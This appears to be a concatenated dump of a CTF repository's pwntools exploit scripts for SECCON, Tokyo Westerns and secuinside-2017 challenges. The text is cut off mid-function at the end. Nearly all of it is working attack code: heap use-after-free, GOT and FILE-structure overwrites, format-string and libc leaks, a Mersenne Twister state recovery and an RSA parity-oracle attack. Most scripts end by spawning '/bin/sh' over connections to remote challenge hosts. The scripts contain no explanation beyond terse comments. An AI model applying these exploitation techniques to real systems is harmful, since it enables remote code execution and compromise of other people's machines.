2 | -------------------------------------------------------------------------------- /SECCON/video_player/video.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = process("./video") 4 | #r = remote("video_player.pwn.seccon.jp", 7777) 5 | 6 | def addVideo(size, data, description): 7 | r.sendline("1") 8 | r.recvuntil(">> ") 9 | r.sendline("1") 10 | r.recvuntil("Resolution : ") 11 | r.send("AAAAAAAA") 12 | r.recvuntil("FPS : ") 13 | r.send("AAAA") 14 | r.recvuntil("Frames : ") 15 | r.send(p32(size)) 16 | r.recvuntil("Data : ") 17 | r.send(data) 18 | r.recvuntil("description : ") 19 | r.send(description) 20 | r.recvuntil(">>> ") 21 | 22 | def addSubtitle(lang, length, subtitle, first): 23 | r.sendline("1") 24 | print r.recvuntil(">>> ") 25 | r.sendline("3") 26 | 27 | if(first): 28 | print r.recvuntil("Language : ") 29 | r.send(lang) 30 | 31 | print r.recvuntil("Length : ") 32 | r.send(p32(length)) 33 | print r.recvuntil("Subtitle : ") 34 | r.sendline(subtitle) 35 | 36 | print r.recvuntil(">>> ") 37 | 38 | def delClip(idx): 39 | r.sendline("4") 40 | print r.recvuntil("index : ") 41 | r.sendline(str(idx)) 42 | print r.recvuntil(">>> ") 43 | 44 | print r.recvuntil("name?") 45 | r.sendline("mathboy7") 46 | 47 | print r.recvuntil(">>> ") 48 | 49 | for i in range(0, 120): 50 | addVideo(1024, "/bin/sh;" + "A"*1016, "A"*0x2f) 51 | if i % 10 == 0: 52 | print str(i) 53 | 54 | addSubtitle("kk", 100, "P"*100, 1) 55 | 56 | addVideo(100, "a"*100, "A"*0x2f) 57 | delClip(121) 58 | addVideo(200, "b"*200, "B"*0x2f) 59 | 60 | payload = "A"*4 61 | payload += p64(0x61) 62 | payload += p64(0x402968) 63 | payload += "A"*12 64 | payload += p32(0xc8) 65 | payload += p64(0x604050) 66 | 67 | addSubtitle("kk", 0xffffffff, payload, 0) 68 | 69 | r.sendline("3") 70 | print r.recvuntil("index : ") 71 | r.sendline("122") 72 | 73 | print r.recvuntil("video...\n") 74 | 75 | rv = r.recv(6) 76 | c = "" 77 | for i in rv: 78 | c += chr(ord(i) ^ 0xcc) 79 | 80 | libc = u64(c + "\x00\x00") 81 | print r.recvuntil(">>> ") 82 | print "libc: " + hex(libc) 83 | 84 | delClip(120) 85 | 86 | addVideo(100, "a"*100, "A"*0x2f) 87 | addVideo(100, "a"*100, "A"*0x2f) 88 | 89 | addSubtitle("kk", 113, "b"*113, 1) 90 | 91 | addVideo(113, "a"*113, "A"*0x2f) # 126 92 | delClip(126) 93 | addVideo(104, "b"*104, "B"*0x2f) # 127 94 | delClip(127) 95 | 96 | libc_base = libc - 0xf7220 97 | system = libc + 0x45390 98 | 99 | payload = "B"*103 100 | payload += p64(0x71) 101 | payload += p64(libc_base + 0x3c46bd) 102 | 103 | addSubtitle("kk", 0xffffffff, payload, 0) 104 | 105 | payload = "\x00"*3 106 | payload += "\x00"*16 107 | payload += p64(0xffffffff) 108 | payload += "\x00"*16 109 | #payload += p64(0x414141414141) # libc + 0x3c56d0 110 | payload += p64(libc_base + 0x3c46e8) 111 | payload += p64(libc_base + 0x3c4540) 112 | payload += p64(libc_base + 0x3c4620) 113 | payload += p64(libc_base + 0x3c38e0) 114 | payload += p64(libc_base + 0x20b70) 115 | payload += p64(libc_base + 0x6ed80) 116 | #payload += p64(0x424242424242) 117 | payload += "A"*5 118 | 119 | addVideo(104, "b"*104, "B"*0x2f) 120 | 121 | r.sendline("1") 122 | r.recvuntil(">> ") 123 | r.sendline("1") 124 | r.recvuntil("Resolution : ") 125 | r.send("AAAAAAAA") 126 | r.recvuntil("FPS : ") 127 | r.send("AAAA") 128 | r.recvuntil("Frames : ") 129 | r.send(p32(104)) 130 | r.recvuntil("Data : ") 131 | r.send(payload) 132 | 133 | file_stream = "\x87\x20\xad\xfb\x3b\x73\x68\x00" 134 | file_stream += p64(libc_base + 0x3c46a3)*7 135 | file_stream += p64(libc_base + 0x3c46a4) 136 | file_stream += "\x00"*32 137 | file_stream += p64(libc_base + 0x3c38e0) 138 | file_stream += p64(0x1) 139 | file_stream += p64(0xffffffffffffffff) 140 | file_stream += p64(0x0000000) 141 | file_stream += p64(libc_base + 0x3c5780) 142 | file_stream += p64(0xffffffffffffffff) 143 | file_stream += "\x00"*8 144 | file_stream += p64(libc_base + 0x3c37a0) 145 | file_stream += "\x00"*24 146 | file_stream += p64(0xffffffff) 147 | file_stream += "\x00"*16 148 | file_stream += p64(libc_base + 0x3c46e8) 149 | file_stream += p64(libc_base + 0x3c4540) 150 | file_stream += p64(libc_base + 0x3c4620) 151 | file_stream += p64(libc_base + 0x3c38e0) 152 | file_stream += p64(libc_base + 0x20b70) 153 | file_stream += p64(system) * 20 154 | 155 | r.sendline(file_stream) 156 | 157 | r.interactive() 158 | -------------------------------------------------------------------------------- /SECCON/vm_no_fun/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /SECCON/vm_no_fun/inception.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from ctypes import * 3 | 4 | #r = process("./inception") 5 | r = remote("vm_no_fun.pwn.seccon.jp", 30203) 6 | 7 | def giveInput(sz, dt): 8 | r.send(p32(sz)) 9 | r.send(dt) 10 | 11 | # VM1 struct: (inst)(opcnt)(op1type|op1)(op2type|op2) 12 | 13 | def VM1Menu(): 14 | r.send("\x01") 15 | 16 | def setVM1read(): 17 | return "\x0c\x00" 18 | 19 | def setVM1write(): 20 | return "\x0b\x00" 21 | 22 | def setVM1reg(idx, val): 23 | p = "\x89\x02" 24 | p += chr(0x20 | 0x00) # reg 25 | p += p16(idx) 26 | p += chr(0x20 | 0x01) # val 27 | p += p16(val) 28 | return p 29 | 30 | def endVM1(): 31 | return "\xf4\x00" 32 | 33 | def VM1Exec(payload): 34 | VM1Menu() 35 | giveInput(len(payload), payload) 36 | 37 | def vm1_to_vm2(payload): 38 | vm1 = setVM1reg(7, 0x600) # 0x7000 39 | vm1 += setVM1read() 40 | vm1 += endVM1() 41 | 42 | VM1Menu() 43 | 44 | giveInput(len(vm1), vm1) 45 | giveInput(len(payload), payload) # input in vm1's 0x7000~ mem. 46 | 47 | def initVM1(): 48 | r.send("\x06") 49 | 50 | ############################ VM2 ########################## 51 | 52 | # VM2 struct: (inst)(op1)(op1flag)(op2)(op2flag) 53 | 54 | def VM2Menu(): 55 | r.send("\x02") 56 | 57 | def setVM2read(): 58 | return "\xdb" + "\x00"*10 59 | 60 | def setVM2write(): 61 | return "\x85" + "\x00"*10 62 | 63 | def setVM2reg(idx, val): 64 | p = "\x28" 65 | p += p32(idx) 66 | p += chr(0x20 | 0x0) 67 | p += p32(val) 68 | p += chr(0x20 | 0x1) 69 | return p 70 | 71 | def VM2dwordCopy(dt): 72 | p = "\x88" 73 | p += "\x00"*5 74 | p += dt 75 | p += chr(0x20 | 0x1) # dt 76 | return p 77 | 78 | def endVM2(): 79 | return "\x83" + "\x00"*10 80 | 81 | def VM2memcpy(offset, dt): 82 | assert len(dt) % 4 == 0 83 | assert offset % 16 == 0 84 | 85 | p = setVM2reg(1, 0) 86 | p += setVM2reg(9, offset+len(dt)) 87 | 88 | for i in range(len(dt), 0, -4): 89 | p += VM2dwordCopy(dt[i-4:i]) 90 | 91 | print len(p) 92 | return p 93 | 94 | def VM2load(reg1, reg9, dest): 95 | p = setVM2reg(10, 0) 96 | p += setVM2reg(1, reg1) 97 | p += setVM2reg(9, reg9) 98 | p += "\x20" # inst 99 | p += p32(dest) # op1 100 | p += "\x22" # &VM2mem[16 * VM2reg[10]] + op1 101 | p += "\x00"*5 102 | 103 | return p 104 | 105 | def initVM2(): 106 | r.send("\x05") 107 | 108 | ############################ VM3 ########################## 109 | 110 | # VM3 struct: (opflag|inst)(op1)(op2) 111 | # op1type 4bit - 0x800 0x400 0x200 0x100 112 | # op2type 4bit - 0x8000 0x4000 0x2000 0x1000 113 | 114 | def VM3Menu(): 115 | r.send("\x03") 116 | 117 | def setVM3read(): 118 | return "\x0d\x00" 119 | 120 | def setVM3write(): 121 | return "\x0c\x00" 122 | 123 | def setVM3reg(idx, val): 124 | p = "\x01" 125 | p += chr(0x5 | 0x60) # op1-regaddr, op2-value 126 | p += p16(idx) 127 | p += p16(val) 128 | return p 129 | 130 | def VM3jump(offset): 131 | p = "\x14\x60" 132 | p += p16(offset) 133 | return p 134 | 135 | def endVM3(): 136 | return "\x0b\x00" 137 | 138 | ########################## stage-1 ######################## 139 | 140 | vm2 = setVM2reg(10, 0) 141 | vm2 += setVM2reg(2, 0) 142 | vm2 += setVM2reg(11, 0) 143 | vm2 += "\xc0" + "\x00"*10 144 | 145 | vm2 += VM2load(0, 0x100000000-0x10090, 0x1000) 146 | vm2 += VM2load(0, 0x100000000-0x1008c, 0x1004) 147 | vm2 += setVM2reg(7, 0x100) 148 | vm2 += setVM2reg(11, 4096) 149 | vm2 += setVM2write() 150 | vm2 += endVM2() 151 | 152 | vm1_to_vm2(vm2) # Load memcopy payload to vm2 153 | 154 | VM2Menu() 155 | 156 | vm1leak = setVM1reg(7, 0x800) 157 | vm1leak += setVM1reg(0, 8) 158 | vm1leak += setVM1write() 159 | vm1leak += endVM1() 160 | 161 | VM1Exec(vm1leak) 162 | 163 | ''' localhost 164 | libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00") - 0x71230 165 | system = libc_base + 0x456a0 166 | ''' 167 | libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00") - 0x6fe70 168 | system = libc_base + 0x45390 169 | 170 | print "libc: " + hex(libc_base) 171 | raw_input("$") 172 | 173 | ########################## stage-2 ######################## 174 | 175 | clib = cdll.LoadLibrary("libc.so.6") 176 | 177 | clib.srand(0x31337) 178 | tbl = [] 179 | 180 | for i in range(0x1000): 181 | tbl.append(clib.rand() & 0xff) 182 | 183 | idx1 = tbl.index(system & 0xff) 184 | tbl = tbl[idx1:] 185 | idx2 = tbl.index((system >> 8) & 0xff) 186 | tbl = tbl[idx2:] 187 | idx3 = tbl.index((system >> 16) & 0xff) 188 | 189 | ## low-0 ## 190 | 191 | t = idx1 / 20 192 | t2 = idx1 % 20 + 1 193 | 194 | for i in range(0, t+1): 195 | initVM1() 196 | initVM2() 197 | vm3 = "" 198 | 199 | k = 20 200 | if(i == t): 201 | k = t2 202 | 203 | for i in range(0, k): 204 | vm3 += setVM3reg(3, 0x0) 205 | vm3 += setVM3reg(11, 0x10000-0x88) # first byte of memcpy@GOT 206 | vm3 += "\x15\x00" 207 | 208 | vm3 += endVM3() 209 | vm3 += "\x00"*(4-len(vm3)%4) 210 | 211 | vm2 = VM2memcpy(0x7000, vm3) 212 | vm2 += endVM2() 213 | 214 | vm1_to_vm2(vm2) # load VM2 Payload to VM1Mem[0x7000] 215 | 216 | VM2Menu() # exec VM2 -> Load payload to VM2Mem[0x7000] 217 | VM3Menu() # Load payload from VM2Mem[0x7000] and execute. 218 | 219 | ## low-1 ## 220 | 221 | t = idx2 / 20 222 | t2 = idx2 % 20 223 | 224 | for i in range(0, t+1): 225 | sleep(0.5) 226 | initVM1() 227 | initVM2() 228 | 229 | vm3 = "" 230 | 231 | k = 20 232 | if(i == t): 233 | k = t2 234 | 235 | for j in range(0, k): 236 | vm3 += setVM3reg(3, 0x0) 237 | vm3 += setVM3reg(11, 0x10000-0x88+1) # seccond byte of memcpy@GOT 238 | vm3 += "\x15\x00" 239 | 240 | vm3 += endVM3() 241 | vm3 += "\x00"*(4-len(vm3)%4) 242 | 243 | vm2 = VM2memcpy(0x7000, vm3) 244 | vm2 += endVM2() 245 | 246 | vm1_to_vm2(vm2) # load VM2 Payload to VM1Mem[0x7000] 247 | 248 | VM2Menu() # exec VM2 -> Load payload to VM2Mem[0x7000] 249 | VM3Menu() # Load payload from VM2Mem[0x7000] and execute. 250 | 251 | 252 | ## low-2 ## 253 | 254 | t = idx3 / 20 255 | t2 = idx3 % 20 256 | 257 | for i in range(0, t+1): 258 | initVM1() 259 | initVM2() 260 | 261 | vm3 = "" 262 | 263 | k = 20 264 | if(i == t): 265 | k = t2 266 | 267 | for j in range(0, k): 268 | vm3 += setVM3reg(3, 0x0) 269 | vm3 += setVM3reg(11, 0x10000-0x88+2) # third byte of memcpy@GOT 270 | vm3 += "\x15\x00" 271 | 272 | vm3 += endVM3() 273 | vm3 += "\x00"*(4-len(vm3)%4) 274 | 275 | vm2 = VM2memcpy(0x7000, vm3) 276 | vm2 += endVM2() 277 | 278 | vm1_to_vm2(vm2) # load VM2 Payload to VM1Mem[0x7000] 279 | 280 | VM2Menu() # exec VM2 -> Load payload to VM2Mem[0x7000] 281 | VM3Menu() # Load payload from VM2Mem[0x7000] and execute. 282 | 283 | ## trigger ## 284 | 285 | initVM1() 286 | initVM2() 287 | 288 | vm2 = setVM2reg(10, 0) 289 | vm2 += setVM2reg(2, 0x400) 290 | vm2 += "\xc0" + "\x00"*10 291 | vm2 += "\x00"*(0x400-len(vm2)) 292 | vm2 += "/bin/sh\x00" 293 | 294 | vm1_to_vm2(vm2) 295 | 296 | VM2Menu() 297 | 298 | r.interactive() 299 | -------------------------------------------------------------------------------- /mix.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from gmpy2 import * 3 | from Crypto.Util.number import * 4 | from mt import untemper 5 | import libnum, decimal 6 | 7 | r = remote("crypto.chal.ctf.westerns.tokyo", 5643) 8 | #r = process(["python", "mixed.py"]) 9 | 10 | def encrypt(plain): 11 | r.sendline("1") 12 | print r.recvuntil("text: ") 13 | r.sendline(plain) 14 | print r.recvuntil("RSA: ") 15 | rsa = int(r.recvuntil("\n")[:-1], 16) 16 | print r.recvuntil("AES: ") 17 | aes = r.recvuntil("\n")[:-1] 18 | print r.recvuntil("key") 19 | return (rsa, aes) 20 | 21 | def oracle(cip): 22 | r.sendline("2") 23 | print r.recvuntil("cipher text: ") 24 | r.sendline(cip) 25 | print r.recvuntil("RSA: ") 26 | rv = r.recvuntil("\n")[:-1] 27 | print r.recvuntil("key") 28 | return int(rv[-2:], 16) 29 | 30 | def enckey(): 31 | r.sendline("4") 32 | print r.recvuntil(":)\n") 33 | # print r.recvuntil("key: ") 34 | # print r.recvuntil("\n") 35 | rv = r.recvuntil("\n")[:-1] 36 | print r.recvuntil("key") 37 | return int(rv, 16) 38 | 39 | def partial(c, n): 40 | k = n.bit_length() 41 | decimal.getcontext().prec = k 42 | lower = decimal.Decimal(0) 43 | upper = decimal.Decimal(n) 44 | print "Shit" 45 | for i in range(0, k-1): 46 | possible_plaintext = (lower + upper)/2 47 | ora = oracle(hex(c)[2:].zfill(256)) 48 | print "ora: " + hex(ora&1) 49 | if not (ora & 1): 50 | upper = possible_plaintext 51 | else: 52 | lower = possible_plaintext 53 | c = (c * c_of_2) % n 54 | if i % 100 == 0: 55 | print "sex " + str(i) 56 | print "lower: " + hex(int(lower)) 57 | print "upper: " + hex(int(upper)) 58 | raw_input("$") 59 | 60 | return int(lower) 61 | 62 | print r.recvuntil("key") 63 | 64 | values = [] 65 | for i in range(0, 624/4): 66 | rs, a = encrypt("a") 67 | a = a[:32].decode("hex") 68 | a = bytes_to_long(a) 69 | for j in range(4): 70 | values.append(a & (2**32-1)) 71 | a = a>>32 72 | 73 | mt_state = tuple(map(untemper, values)+[0]) 74 | random.setstate((3, mt_state, None)) 75 | 76 | for i in range(624): 77 | random.getrandbits(32) 78 | random.getrandbits(128) 79 | random.getrandbits(128) 80 | random.getrandbits(128) 81 | 82 | iv = random.getrandbits(128) 83 | 84 | raw_input("$") 85 | 86 | key = int(enckey()) 87 | 88 | rsa1 = encrypt("\x02") 89 | rsa2 = encrypt("\x03") 90 | rsa3 = encrypt("\x04") 91 | 92 | fuck = pow(2, 65537)-rsa1[0] 93 | fuck2 = pow(3, 65537)-rsa2[0] 94 | fuck3 = pow(4, 65537)-rsa3[0] 95 | 96 | n = gcd(fuck, fuck2) 97 | n = gcd(n, fuck3) 98 | n = int(n) 99 | 100 | e = 65537 101 | 102 | print "n: " + hex(n) 103 | print "key: " + hex(key) 104 | print hex(key) 105 | print hex(oracle(hex(key)[2:])) 106 | 107 | raw_input("$") 108 | c_of_2 = pow(2, e, n) 109 | 110 | print "key: " + str(key) 111 | 112 | fuck = partial(key*c_of_2%n, n) 113 | 114 | for i in range(fuck, fuck+10): 115 | if pow(i, e, n) == key: 116 | print "find!" 117 | key = i 118 | 119 | print "key: " + hex(key) 120 | print "iv: " + hex(iv) 121 | 122 | r.interactive() 123 | -------------------------------------------------------------------------------- /secuinside-2017/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /secuinside-2017/ChildHeap/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /secuinside-2017/ChildHeap/child.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = remote("13.124.131.103", 31337) 4 | #r = process("./childheap") 5 | 6 | def allocate(size, data): 7 | r.send("1\n") 8 | print r.recvuntil("Input size: ") 9 | r.send(str(size)+"\n") 10 | print r.recvuntil("Input data: ") 11 | r.send(data) 12 | print r.recvuntil("> ") 13 | 14 | def free(): 15 | r.send("2\n") 16 | print r.recvuntil("> ") 17 | 18 | def secret(code): 19 | r.send(str(0x31337) + "\n") 20 | print r.recvuntil("code: ") 21 | r.send(str(code) + "\n") 22 | print r.recvuntil("> ") 23 | 24 | raw_input("$") 25 | print r.recvuntil("> ") 26 | 27 | r.send("1234\n") 28 | 29 | allocate(4095, "asdf") 30 | free() 31 | 32 | r.send("3\n") 33 | print r.recvuntil("(y/n)? ") 34 | r.send("n\n") 35 | print r.recvuntil("new name: ") 36 | r.send("asdf\n") 37 | print r.recvuntil("new one (y/n)? ") 38 | r.send("y\n") 39 | 40 | print r.recvuntil("> ") 41 | 42 | free() 43 | 44 | r.send("3\n") 45 | print r.recvuntil("(y/n)? ") 46 | r.send("n\n") 47 | print r.recvuntil("name: ") 48 | r.send("a"*8 + p64(0x6020b0) + "\n") 49 | print r.recvuntil("new one (y/n)? ") 50 | r.send("y\n") 51 | 52 | print r.recvuntil("> ") 53 | 54 | allocate(4095, "asdf") 55 | 56 | r.send("3\n") 57 | print r.recvuntil("(y/n)? ") 58 | r.send("n\n") 59 | print r.recvuntil("name: ") 60 | r.send("\x00"*8 + p64(0x6020a8)*2 + "\n") 61 | print r.recvuntil("new one (y/n)? ") 62 | r.send("y\n") 63 | 64 | free() 65 | secret(1041) 66 | 67 | allocate(1023, "\x00"*8 + p64(0x602060-2)) 68 | 69 | r.send("3\n") 70 | print r.recvuntil("(y/n)? ") 71 | r.send("n\n") 72 | print r.recvuntil("name: ") 73 | 74 | payload = p64(0x4007c6) 75 | payload += p64(0x400756) 76 | payload += p64(0x4007e6) 77 | 78 | r.send(payload + "\n") 79 | 80 | print r.recvuntil("new one (y/n)? ") 81 | r.send("y\n") 82 | 83 | print r.recvuntil("> ") 84 | 85 | r.send("%7$s.aaa" + p64(0x602038)) 86 | 87 | recved = r.recv(6) 88 | 89 | read_libc = u64(recved + "\x00\x00") 90 | #libc_base = read_libc - 0xf7220 91 | #system = libc_base + 0x45390 92 | libc_base = read_libc - 0xf69a0 93 | system = libc_base + 0x45380 94 | 95 | print "read_libc: " +hex(read_libc) 96 | 97 | r.send("aa\n") # modify 98 | print r.recvuntil("(y/n)? ") 99 | r.send("n\n") 100 | print r.recvuntil("name: ") 101 | print r.recvuntil("new one (y/n)? ") 102 | r.send("n\n") 103 | print r.recvuntil("> ") 104 | 105 | r.send("aa\n") 106 | print r.recvuntil("(y/n)? ") 107 | r.send("n\n") 108 | print r.recvuntil("name: ") 109 | 110 | payload = "A"*2 111 | payload += p64(0x4007c6) 112 | payload += p64(system) 113 | payload += p64(0x4007e6) 114 | 115 | r.send(payload + "\n") 116 | print r.recvuntil("new one (y/n)? ") 117 | r.send("y\n") 118 | 119 | print r.recvuntil("> ") 120 | 121 | r.send("/bin/sh\x00\n") 122 | r.interactive() 123 | -------------------------------------------------------------------------------- /secuinside-2017/IdolMaster/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /secuinside-2017/IdolMaster/idol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process("./idol") 4 | r = remote("45.32.110.156", 31337) 5 | 6 | def register(ID, PW): 7 | r.send("3\n") 8 | print r.recvuntil("): ") 9 | r.send(ID) 10 | print r.recvuntil("): ") 11 | r.send(PW) 12 | print r.recvuntil("name: ") 13 | r.send("mathboy7\n") 14 | print r.recvuntil("> ") 15 | 16 | def login(ID, PW): 17 | r.send("1\n") 18 | print r.recvuntil("ID: ") 19 | r.send(ID) 20 | print r.recvuntil("PW: ") 21 | r.send(PW) 22 | print r.recvuntil("> ") 23 | 24 | def recruitTrainee(name): 25 | r.send("1\n") 26 | print r.recvuntil("> ") 27 | r.send("1\n") 28 | sleep(3) 29 | print r.recvuntil("> ") 30 | r.send("1\n") 31 | print r.recvuntil("name? ") 32 | r.send(name) 33 | print r.recvuntil("> ") 34 | r.send("6\n") 35 | print r.recvuntil("> ") 36 | 37 | def createGroup(groupNum, groupName, index): 38 | r.send("2\n") 39 | sleep(0.1) 40 | print r.recvuntil("> ") 41 | r.send("1\n") 42 | sleep(0.1) 43 | print r.recvuntil("max:12) ") 44 | r.send(str(groupNum) + "\n") 45 | 46 | sleep(0.1) 47 | 48 | for i in range(0, groupNum): 49 | print r.recvuntil(": ") 50 | r.send(str(index) + "\n") 51 | sleep(0.1) 52 | 53 | print r.recvuntil("name? ") 54 | sleep(0.1) 55 | r.send(groupName) 56 | print r.recvuntil("> ") 57 | r.send("5\n") 58 | print r.recvuntil("> ") 59 | 60 | def removeMember(groupIndex, memIndex): 61 | r.send("2\n") 62 | print r.recvuntil("> ") 63 | r.send("4\n") 64 | print r.recvuntil("manage: ") 65 | r.send(str(groupIndex)+"\n") 66 | print r.recvuntil("> ") 67 | r.send("4\n") 68 | print r.recvuntil("remove: ") 69 | r.send(str(memIndex) + "\n") 70 | print r.recvuntil("> ") 71 | r.send("7\n") 72 | print r.recvuntil("> ") 73 | r.send("5\n") 74 | print r.recvuntil("> ") 75 | 76 | def fireTrainee(memIndex): 77 | r.send("1\n") 78 | print r.recvuntil("> ") 79 | r.send("2\n") 80 | print r.recvuntil("fire: ") 81 | r.send(str(memIndex) + "\n") 82 | print r.recvuntil("> ") 83 | r.send("6\n") 84 | print r.recvuntil("> ") 85 | 86 | def recruitTrainer(name): 87 | r.send("3\n") 88 | print r.recvuntil("> ") 89 | r.send("1\n") 90 | print r.recvuntil("> ") 91 | r.send("1\n") 92 | print r.recvuntil("name? ") 93 | r.send(name) 94 | print r.recvuntil("> ") 95 | r.send("5\n") 96 | print r.recvuntil("> ") 97 | 98 | def delTrainer(index): 99 | r.send("3\n") 100 | print r.recvuntil("> ") 101 | r.send("3\n") 102 | print r.recvuntil("> ") 103 | r.send("1\n") 104 | print r.recvuntil("fire: ") 105 | r.send(str(index) + "\n") 106 | print r.recvuntil("> ") 107 | r.send("5\n") 108 | print r.recvuntil("> ") 109 | 110 | print r.recvuntil("> ") 111 | 112 | r.send("3\n") 113 | r.send("a\n") 114 | print r.recvuntil(": ") 115 | r.send("a\n") 116 | print r.recvuntil("> ") 117 | 118 | register("aaaa\n", "bbbb\n") 119 | login("aaaa\n", "bbbb\n") 120 | 121 | r.send("4\n") # game start 122 | print r.recvuntil("> ") 123 | 124 | recruitTrainer("DDDD") 125 | recruitTrainer("EEEE") 126 | 127 | recruitTrainee("BBBB") 128 | recruitTrainee("CCCC") 129 | recruitTrainee("A"*24) 130 | 131 | recruitTrainee("aaaa") 132 | recruitTrainee("bbbb") 133 | recruitTrainee("C"*24) 134 | 135 | recruitTrainee("1111") 136 | recruitTrainee("2222") 137 | recruitTrainee("3333") 138 | 139 | createGroup(3, "sexmaster", 1) 140 | sleep(0.5) 141 | createGroup(3, "kkkk", 1) 142 | sleep(0.5) 143 | createGroup(3, "member", 1) 144 | 145 | removeMember(2, 1) 146 | removeMember(2, 1) 147 | fireTrainee(1) 148 | fireTrainee(1) 149 | 150 | sleep(1) 151 | 152 | removeMember(1, 1) 153 | removeMember(1, 1) 154 | removeMember(1, 1) 155 | fireTrainee(1) 156 | fireTrainee(1) 157 | fireTrainee(1) 158 | 159 | removeMember(1, 1) 160 | 161 | r.send("1\n") 162 | print r.recvuntil("> ") 163 | r.send("3\n") # list trainee 164 | print r.recvuntil("#\n") 165 | r.recv(16) 166 | 167 | recved = r.recv(8) 168 | 169 | heap_addr = u64(recved) 170 | heap_base = heap_addr - 0x150 171 | point_addr = heap_addr + 0x2a0 172 | 173 | print r.recvuntil("> ") 174 | print "\nheap_addr: " + hex(heap_addr) 175 | 176 | r.send("6\n") 177 | 178 | delTrainer(1) 179 | 180 | payload = p64(0x606fe0) 181 | payload += p32(0x10) 182 | payload += p32(10) 183 | payload += p32(0) 184 | payload += p32(0) 185 | payload += p64(point_addr) 186 | payload += p64(heap_base+0x260)*2 187 | 188 | #recruitTrainer("A"*32) 189 | recruitTrainer(payload) 190 | 191 | r.send("1\n") 192 | print r.recvuntil("> ") 193 | r.send("3\n") 194 | print r.recvuntil("#\n") 195 | 196 | recved = r.recv(6) 197 | atoi_libc = u64(recved + "\x00\x00") 198 | libc_base = atoi_libc - 0x36e80 199 | system = libc_base + 0x45390 200 | gets = libc_base + 0x6ed80 201 | stdout = libc_base + 0x3c56f8 202 | 203 | print r.recvuntil("> ") 204 | print "atoi@libc: " + hex(atoi_libc) 205 | raw_input("$") 206 | r.send("6\n") 207 | print r.recvuntil("> ") 208 | 209 | removeMember(3, 1) 210 | removeMember(3, 1) 211 | removeMember(3, 1) 212 | 213 | raw_input("$") 214 | createGroup(3, p64(gets), 2) 215 | raw_input("#") 216 | 217 | delTrainer(2) 218 | 219 | payload = p64(heap_base + 0x1e0) 220 | payload += p32(0x18) 221 | payload += p32(0x13) 222 | payload += p32(0) 223 | payload += p32(6) 224 | payload += p64(heap_base + 0x5c0) 225 | payload += p64(heap_base + 0x260) 226 | payload += p64(heap_base + 0x260) 227 | 228 | recruitTrainer(payload) 229 | 230 | fireTrainee(1) 231 | 232 | payload = p64(stdout) 233 | payload += p64(6) 234 | payload += p64(heap_base + 0x480) 235 | payload += p32(0x0) 236 | payload += p32(0x3) 237 | payload += p64(0x0) 238 | payload += p64(heap_base + 0x600) 239 | payload += p64(heap_base + 0x6c0) 240 | 241 | recruitTrainer(payload) 242 | 243 | r.send("2\n") 244 | print r.recvuntil("> ") 245 | r.send("4\n") 246 | print r.recvuntil("manage: ") 247 | r.send("4\n") 248 | print r.recvuntil("> ") 249 | r.send("5\n") 250 | print r.recvuntil("name? ") 251 | 252 | r.send(p64(heap_base + 0xc0 - 0x38)[0:6]) 253 | 254 | #file_stream = "A"*8 255 | file_stream = "\x87\x20\xad\xfb\x3b\x73\x68\x00" 256 | file_stream += p64(libc_base + 0x3c56a3)*7 257 | file_stream += p64(libc_base + 0x3c56a4) 258 | file_stream += "\x00"*32 259 | file_stream += p64(libc_base + 0x3c48e0) 260 | file_stream += p64(0x1) 261 | file_stream += p64(0xffffffffffffffff) 262 | file_stream += p64(0x0) 263 | file_stream += p64(libc_base + 0x3c6780) 264 | file_stream += p64(0xffffffffffffffff) 265 | file_stream += "\x00"*8 266 | file_stream += p64(libc_base + 0x3c47a0) 267 | file_stream += "\x00"*24 268 | file_stream += p64(0xffffffff) 269 | file_stream += "\x00"*16 270 | file_stream += p64(libc_base + 0x3c5700) 271 | file_stream += p64(libc_base + 0x3c5540) 272 | file_stream += p64(libc_base + 0x3c5620) 273 | file_stream += p64(libc_base + 0x3c48e0) 274 | file_stream += p64(libc_base + 0x20b70) 275 | file_stream += p64(system)*15 276 | 277 | sleep(0.3) 278 | r.send(file_stream + "\n") 279 | r.interactive() 280 | -------------------------------------------------------------------------------- /secuinside-2017/Very Very Chart/.gitkeep: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /secuinside-2017/Very Very Chart/chart.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = process("./chart") 4 | 5 | raw_input("$") 6 | 7 | def register(type_, ID, PW, name, profile=""): # user 1, composer 2 8 | r.send("2\n") 9 | print r.recvuntil("Type :") 10 | r.send(str(type_)+"\n") 11 | print r.recvuntil("ID : ") 12 | r.send(ID+"\n") 13 | print r.recvuntil("PW : ") 14 | r.send(PW+"\n") 15 | print r.recvuntil("Name : ") 16 | r.send(name+"\n") 17 | if(type_ == 1): 18 | print r.recvuntil(">") 19 | else: 20 | print r.recvuntil("Profile : ") 21 | r.send(profile+"\n") 22 | print r.recvuntil(">") 23 | 24 | def login(ID, PW): 25 | r.send("1\n") 26 | print r.recvuntil("ID :") 27 | r.send(ID+"\n") 28 | print r.recvuntil("PW :") 29 | r.send(PW+"\n") 30 | print r.recvuntil(">") 31 | 32 | def writeMusic(name, lyric): 33 | r.send("1\n") 34 | print r.recvuntil("Name : ") 35 | r.send(name+"\n") 36 | print r.recvuntil("Lyrics : ") 37 | r.send(lyric+"\n") 38 | print r.recvuntil(">") 39 | 40 | def deleteMusic(index): 41 | r.send("2\n") 42 | print r.recvuntil("Index : ") 43 | r.send(str(index)+"\n") 44 | print r.recvuntil(">") 45 | 46 | def editProfile(newProfile): 47 | r.send("3\n") 48 | print r.recvuntil("Edit Profile : ") 49 | r.send(newProfile+"\n") 50 | print r.recvuntil(">") 51 | 52 | def editMusic(musicIdx, newLyric): 53 | r.send("4\n") 54 | print r.recvuntil("Index :") 55 | r.send(str(musicIdx)+"\n") 56 | r.send(newLyric+"\n") 57 | print r.recvuntil(">") 58 | 59 | def logOut(type_): 60 | if type_== 